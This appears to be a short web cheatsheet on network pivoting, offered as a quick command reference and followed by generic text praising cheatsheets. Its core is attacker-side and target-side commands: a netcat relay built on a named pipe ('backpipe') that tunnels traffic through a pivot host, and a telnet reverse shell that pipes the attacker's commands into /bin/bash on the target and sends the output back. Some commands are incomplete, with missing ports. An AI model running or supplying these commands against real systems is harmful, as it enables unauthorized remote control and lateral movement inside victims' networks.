🖥️pivoting

➡️This is a command-line reference manual for commands and command combinations that you don’t use often enough to remember it. This cheatsheet explains the pivoting command with important options and switches using examples.

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# To make a FIFO in the file system 
mknod [name of file] p

# Pivoting with a backpipe #
# On the attacker:
nc [pivot host]

# On the pivot host
nc localhost 80 <[FIFO file name] | nc -l -p 4444 >[FIFO file name]

# Telnet variant (when netcat is not available on the target) #
# Listen on port 80 in terminal 1 on the attack machine
nc -l -n -v -p 80 

# Listen on port 443 in terminal 2 on the attack machine
nc -l -n -v -p 443

# On the target machine:
telnet [attack host] 80 | /bin/bash | telnet [attack host]

Cheatsheets are an excellent complement to other information sources like Linux man-pages, Linux help, or How-To’s and tutorials, as they provide compact and easily accessible information. While man-pages and detailed tutorials often contain comprehensive explanations and extensive guides, cheatsheets summarize the most important options forthe command pivoting in a clear format. This allows users to quickly access the needed information for pivoting without having to sift through lengthy texts. Especially in stressful situations or for recurring tasks, cheatsheets for pivoting are a valuable resource to work efficiently and purposefully.

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